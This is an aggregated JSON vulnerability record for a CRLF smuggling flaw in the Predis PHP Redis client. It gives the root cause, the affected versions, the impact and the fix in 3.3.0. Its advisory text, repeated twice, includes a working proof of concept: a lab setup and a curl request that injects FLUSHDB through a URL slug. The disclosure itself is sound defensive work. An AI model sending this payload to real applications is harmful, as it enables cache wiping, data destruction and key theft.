{"id":"CVE-2026-84372","aliases":["EUVD-2026-69701","GHSA-w6f5-v2h6-g786","UBUNTU-CVE-2026-84372"],"status":"published","title":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01002,"percentile":0.63336,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-93"],"published":"2026-09-01T21:20:57Z","modified":"2026-11-04T20:04:27Z","fixes":[{"ecosystem":"Packagist","package":"predis/predis","fixed_in":["3.3.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"predis/predis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0-RC1"},{"fixed":"3.3.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"predis/predis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0-RC1"},{"fixed":"3.3.0"}]}],"versions":["v3.0.0","v3.0.0-RC1","v3.0.1","v3.1.0","v3.2.0"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"php-nrk-predis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1-1"]}],"products":[{"vendor":"predis","product":"predis"}],"references":[{"url":"https://github.com/predis/predis/security/advisories/GHSA-w6f5-v2h6-g786","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/predis/predis/issues/1574","tags":["x_refsource_MISC","exploit","report","web"]},{"url":"https://github.com/predis/predis/pull/1586","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/predis/predis/commit/053cb4b6ac7fb1f469ead96a78d059bc0458e408","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/predis/predis/releases/tag/v3.3.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84372","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w6f5-v2h6-g786"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84372.json","tags":["advisory"]},{"url":"https://github.com/predis/predis","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-84372","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84372","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-84372","title":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","status":"published","published":"2026-09-01T21:20:57.138Z","modified":"2026-09-02T19:33:06.33Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:20:08.391556Z"}],"euvd":[{"id":"EUVD-2026-69701","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","status":"published","published":"2026-09-01T21:20:57Z","modified":"2026-09-02T19:33:06Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:14.689075Z"}],"ghsa":[{"id":"GHSA-w6f5-v2h6-g786","title":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","description":"### Summary\n\nAn improper CRLF neutralization flaw in Predis' pipeline handling on\naggregate connections lets an unauthenticated attacker who can influence any\npipelined argument — a value **or** a key, e.g. a URL slug used as a cache key —\nsmuggle arbitrary Redis commands into the connection.\n\n- On **cluster** connections (`cluster` option, incl. client-side sharding) this\n  is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`,\n  same-slot key theft via `GET`, cache poisoning, and possible node/cluster\n  outage.\n- On **replication** connections (`replication` option) it is a reliable,\n  repeatable denial of service (uncaught fatal error) triggered by any value\n  containing `\\r\\n`.\n\n### Details\n\nWhen a pipeline is executed over an aggregate connection,\n`AbstractAggregateConnection::write()` re-parses the already-serialized pipeline\nbuffer with `explode(\"\\r\\n\")` instead of honoring RESP length prefixes:\n\n- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94\n  - splits the buffer on `\\r\\n`, ignoring `$\u003clen\u003e` bulk lengths,\n  - rebuilds each chunk via `Command::deserializeCommand()`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)\n    to decide routing,\n  - writes each chunk to the connection chosen for that (fake) command.\n\nRESP is length-prefixed, so the Redis **server** parses the original stream\ncorrectly — but this second, client-side parser treats attacker-controlled\n`\\r\\n` sequences as command boundaries. An argument such as:\n\n    PAD\\r\\n*1\\r\\n$7\\r\\nFLUSHDB\n\nis a single data value to the server, but a complete, valid `FLUSHDB` command to\nthe re-parser. The consequence depends on the connection type:\n\n- **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the\n  master and the byte stream stays intact — but the misaligned chunk makes\n  `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid\n  serializing format`. Any value containing `\\r\\n` (binary serializers such as\n  igbinary/msgpack, or multi-line text) reliably crashes the request. This is\n  the crash tracked in #1574 — an unauthenticated, repeatable DoS.\n- **Cluster:** chunks are routed to different nodes by slot, so the byte stream\n  is split across sockets. The smuggled command arrives on a node whose stream\n  is clean and is **executed**, though the application never sent it:\n  - `FLUSHDB` wipes an entire shard. It has no key but is routable because\n    `ClusterStrategy::getFakeKey()` hardcodes the fake key `'key'`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56\n    and #L243-L246), so the smuggled command always lands on the node serving\n    `slot('key')`.\n  - `INFO` (same fake-key routing) leaks server configuration via orphaned\n    responses; `CLUSTER FLUSHSLOTS` can take a node down.\n  - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the\n    application's own later command on that slot), cache poisoning and targeted\n    data destruction; junk-key floods can exhaust node memory (OOM / mass\n    eviction of legitimate keys).\n  - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the\n    class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys`\n    trait validation, and `EVALSHA` requires a pre-loaded script. This is\n    accidental, not a designed mitigation, and does not reduce severity —\n    `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data\n    destruction.\n\n**Affected versions.** Introduced in v3.0.0 by PR #1438 (\"Improved pipeline\nabstractions\"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not\naffected — the vulnerable code was added after it). v1.x and v2.x are not\naffected; their pipelines write per-command via `writeRequest()` and the\nvulnerable code path does not exist.\n\nOnly `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do\nnot.\n\n### Proof of concept\n\nTwo plain `redis:8` containers acting as two shards (PredisCluster shards\nclient-side, so Redis itself need not be in cluster mode); a PHP app on a\nvulnerable Predis checkout (e.g. v3.2.0).\n\n`docker-compose.yml`:\n\n    services:\n      redis1:\n        image: redis:8\n        ports: [\"6391:6379\"]\n      redis2:\n        image: redis:8\n        ports: [\"6392:6379\"]\n\n`index.php` (a normal-looking app — slug from URL → cache lookup):\n\n    \u003c?php\n    require __DIR__ . '/vendor/autoload.php';\n\n    $nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];\n    $client = new Predis\\Client($nodes, ['cluster' =\u003e 'predis',\n                'parameters' =\u003e ['read_write_timeout' =\u003e 2]]);\n\n    if (isset($_GET['seed'])) {\n        for ($i = 1; $i \u003c= 100; $i++) { $client-\u003eset(\"user:$i\", \"data$i\"); }\n        exit('seeded');\n    }\n\n    $slug = $_GET['slug'] ?? '';\n    try {\n        [$doc] = $client-\u003epipeline()-\u003eget(\"slug:$slug\")-\u003eexecute();\n        echo $doc ?: 'no such slug';\n    } catch (Throwable $e) {\n        http_response_code(500);\n        echo get_class($e);\n    }\n\nRun:\n\n    composer require predis/predis:3.2.0\n    docker compose up -d\n    php -S 127.0.0.1:8080 -t .\n    curl 'http://127.0.0.1:8080/?seed'                       # 100 keys\n\nAttack (smuggled `FLUSHDB` inside the slug):\n\n    curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'\n\nThe slug's first line must hash to a different shard than the fake key `'key'`\n(otherwise the truncated bytes swallow the injection and the request simply\n404s). With two shards this is ~50% per attempt — retry `PAD0`, `PAD1`, … until\nthe request returns 500. More shards make the attack **easier**: the per-attempt\nhit probability is `(N-1)/N`, so on production clusters with many shards the\nfirst request succeeds with near-certainty.\n\nVerified result: `dbsize` across both shards drops 100 → 62; one shard was wiped\nby a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on\nnormal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent\nof commit `053cb4b6` and fails on `053cb4b6`.\n\n### Impact\n\nCWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command\ninjection / protocol smuggling and denial of service. Any application on\n**predis/predis 3.0.0-RC1 – 3.2.0** that calls `pipeline()` on a cluster or\nreplication connection and includes attacker-influenced data (values **or**\nkeys — e.g. cache keys built from URL slugs) in the pipelined commands is\naffected. This is a common pattern for cache lookups, sessions and queued\nwrites.\n\n- **Cluster:** unauthenticated remote command injection — shard-wide cache wipe\n  (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot\n  key theft (`GET`), node memory exhaustion (key flood), possible cluster outage\n  (`CLUSTER FLUSHSLOTS`).\n- **Replication:** reliable unauthenticated DoS on every affected request.\n\n### Remediation\n\nUpgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit\n`053cb4b6`) makes pipelines on aggregate connections write each command using the\nreal `Command` object, eliminating the second, byte-splitting parser.\n\nUsers who cannot upgrade immediately should avoid calling `pipeline()` on\naggregate (cluster / replication) connections with any attacker-influenced keys\nor values; there is no reliable in-application way to neutralize the embedded\n`\\r\\n` while the second parser remains in the code path.","status":"published","published":"2026-09-08T20:57:50Z","modified":"2026-09-08T20:57:52Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:41:14.764963Z"}],"nvd":[{"id":"CVE-2026-84372","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","status":"published","published":"2026-09-01T22:17:18.987Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-84372","title":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","status":"published","published":"2026-09-01T21:20:57.138Z","modified":"2026-10-28T02:30:27.432145191Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-w6f5-v2h6-g786","title":"Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections","description":"### Summary\n\nAn improper CRLF neutralization flaw in Predis' pipeline handling on\naggregate connections lets an unauthenticated attacker who can influence any\npipelined argument — a value **or** a key, e.g. a URL slug used as a cache key —\nsmuggle arbitrary Redis commands into the connection.\n\n- On **cluster** connections (`cluster` option, incl. client-side sharding) this\n  is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`,\n  same-slot key theft via `GET`, cache poisoning, and possible node/cluster\n  outage.\n- On **replication** connections (`replication` option) it is a reliable,\n  repeatable denial of service (uncaught fatal error) triggered by any value\n  containing `\\r\\n`.\n\n### Details\n\nWhen a pipeline is executed over an aggregate connection,\n`AbstractAggregateConnection::write()` re-parses the already-serialized pipeline\nbuffer with `explode(\"\\r\\n\")` instead of honoring RESP length prefixes:\n\n- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94\n  - splits the buffer on `\\r\\n`, ignoring `$\u003clen\u003e` bulk lengths,\n  - rebuilds each chunk via `Command::deserializeCommand()`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)\n    to decide routing,\n  - writes each chunk to the connection chosen for that (fake) command.\n\nRESP is length-prefixed, so the Redis **server** parses the original stream\ncorrectly — but this second, client-side parser treats attacker-controlled\n`\\r\\n` sequences as command boundaries. An argument such as:\n\n    PAD\\r\\n*1\\r\\n$7\\r\\nFLUSHDB\n\nis a single data value to the server, but a complete, valid `FLUSHDB` command to\nthe re-parser. The consequence depends on the connection type:\n\n- **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the\n  master and the byte stream stays intact — but the misaligned chunk makes\n  `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid\n  serializing format`. Any value containing `\\r\\n` (binary serializers such as\n  igbinary/msgpack, or multi-line text) reliably crashes the request. This is\n  the crash tracked in #1574 — an unauthenticated, repeatable DoS.\n- **Cluster:** chunks are routed to different nodes by slot, so the byte stream\n  is split across sockets. The smuggled command arrives on a node whose stream\n  is clean and is **executed**, though the application never sent it:\n  - `FLUSHDB` wipes an entire shard. It has no key but is routable because\n    `ClusterStrategy::getFakeKey()` hardcodes the fake key `'key'`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56\n    and #L243-L246), so the smuggled command always lands on the node serving\n    `slot('key')`.\n  - `INFO` (same fake-key routing) leaks server configuration via orphaned\n    responses; `CLUSTER FLUSHSLOTS` can take a node down.\n  - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the\n    application's own later command on that slot), cache poisoning and targeted\n    data destruction; junk-key floods can exhaust node memory (OOM / mass\n    eviction of legitimate keys).\n  - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the\n    class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys`\n    trait validation, and `EVALSHA` requires a pre-loaded script. This is\n    accidental, not a designed mitigation, and does not reduce severity —\n    `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data\n    destruction.\n\n**Affected versions.** Introduced in v3.0.0 by PR #1438 (\"Improved pipeline\nabstractions\"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not\naffected — the vulnerable code was added after it). v1.x and v2.x are not\naffected; their pipelines write per-command via `writeRequest()` and the\nvulnerable code path does not exist.\n\nOnly `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do\nnot.\n\n### Proof of concept\n\nTwo plain `redis:8` containers acting as two shards (PredisCluster shards\nclient-side, so Redis itself need not be in cluster mode); a PHP app on a\nvulnerable Predis checkout (e.g. v3.2.0).\n\n`docker-compose.yml`:\n\n    services:\n      redis1:\n        image: redis:8\n        ports: [\"6391:6379\"]\n      redis2:\n        image: redis:8\n        ports: [\"6392:6379\"]\n\n`index.php` (a normal-looking app — slug from URL → cache lookup):\n\n    \u003c?php\n    require __DIR__ . '/vendor/autoload.php';\n\n    $nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];\n    $client = new Predis\\Client($nodes, ['cluster' =\u003e 'predis',\n                'parameters' =\u003e ['read_write_timeout' =\u003e 2]]);\n\n    if (isset($_GET['seed'])) {\n        for ($i = 1; $i \u003c= 100; $i++) { $client-\u003eset(\"user:$i\", \"data$i\"); }\n        exit('seeded');\n    }\n\n    $slug = $_GET['slug'] ?? '';\n    try {\n        [$doc] = $client-\u003epipeline()-\u003eget(\"slug:$slug\")-\u003eexecute();\n        echo $doc ?: 'no such slug';\n    } catch (Throwable $e) {\n        http_response_code(500);\n        echo get_class($e);\n    }\n\nRun:\n\n    composer require predis/predis:3.2.0\n    docker compose up -d\n    php -S 127.0.0.1:8080 -t .\n    curl 'http://127.0.0.1:8080/?seed'                       # 100 keys\n\nAttack (smuggled `FLUSHDB` inside the slug):\n\n    curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'\n\nThe slug's first line must hash to a different shard than the fake key `'key'`\n(otherwise the truncated bytes swallow the injection and the request simply\n404s). With two shards this is ~50% per attempt — retry `PAD0`, `PAD1`, … until\nthe request returns 500. More shards make the attack **easier**: the per-attempt\nhit probability is `(N-1)/N`, so on production clusters with many shards the\nfirst request succeeds with near-certainty.\n\nVerified result: `dbsize` across both shards drops 100 → 62; one shard was wiped\nby a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on\nnormal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent\nof commit `053cb4b6` and fails on `053cb4b6`.\n\n### Impact\n\nCWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command\ninjection / protocol smuggling and denial of service. Any application on\n**predis/predis 3.0.0-RC1 – 3.2.0** that calls `pipeline()` on a cluster or\nreplication connection and includes attacker-influenced data (values **or**\nkeys — e.g. cache keys built from URL slugs) in the pipelined commands is\naffected. This is a common pattern for cache lookups, sessions and queued\nwrites.\n\n- **Cluster:** unauthenticated remote command injection — shard-wide cache wipe\n  (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot\n  key theft (`GET`), node memory exhaustion (key flood), possible cluster outage\n  (`CLUSTER FLUSHSLOTS`).\n- **Replication:** reliable unauthenticated DoS on every affected request.\n\n### Remediation\n\nUpgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit\n`053cb4b6`) makes pipelines on aggregate connections write each command using the\nreal `Command` object, eliminating the second, byte-splitting parser.\n\nUsers who cannot upgrade immediately should avoid calling `pipeline()` on\naggregate (cluster / replication) connections with any attacker-influenced keys\nor values; there is no reliable in-application way to neutralize the embedded\n`\\r\\n` while the second parser remains in the code path.","status":"published","published":"2026-09-08T20:57:50Z","modified":"2026-09-08T21:15:04.9969617Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:58.401149Z"},{"id":"UBUNTU-CVE-2026-84372","description":"Predis is a flexible and feature-complete Redis and Valkey client for PHP. From version 3.0.0-RC1 until version 3.3.0, pipeline handling on aggregate cluster and replication connections reparses an already serialized RESP buffer in AbstractAggregateConnection::write() by splitting it with explode(\"\\r\\n\") instead of honoring RESP length prefixes. Attacker-controlled keys or values containing CRLF sequences can therefore be interpreted by Command::deserializeCommand() as additional commands. On cluster connections, ClusterStrategy::getFakeKey() can route injected keyless commands using the literal fake key value \"key\", permitting operations such as shard-wide cache deletion, targeted data modification, data reads, or node disruption. On replication connections, malformed reparsing can throw an uncaught exception and repeatedly terminate affected requests. Only pipeline() reaches this vulnerable path; transaction() and MULTI are not affected. This issue is fixed in version 3.3.0.","status":"published","published":"2026-09-01T22:17:00Z","modified":"2026-11-04T20:04:27.631229902Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-04T21:43:30.004651Z"}]}}
